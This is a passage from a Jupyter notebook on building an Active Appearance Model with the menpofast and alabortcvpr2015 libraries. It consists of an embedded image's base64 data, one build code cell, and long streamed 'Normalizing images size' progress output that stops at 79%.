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\n", "text": [ "<matplotlib.figure.Figure at 0x7faf16900dd0>" ] } ], "prompt_number": 10 }, { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Active Appearance Models" ] }, { "cell_type": "heading", "level": 3, "metadata": {}, "source": [ "Build" ] }, { "cell_type": "code", "collapsed": false, "input": [ "from menpofast.feature import no_op, fast_dsift, fast_daisy\n", "from alabortcvpr2015.aam import PartsAAMBuilder\n", "\n", "aam = PartsAAMBuilder(parts_shape=(17, 17),\n", " features=fast_dsift,\n", " diagonal=100,\n", " normalize_parts=False,\n", " scales=(1, .5),\n", " max_shape_components=25,\n", " max_appearance_components=250).build(training_images,\n", " group=group,\n", " verbose=True)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Computing reference shape" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Normalizing images size: 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ 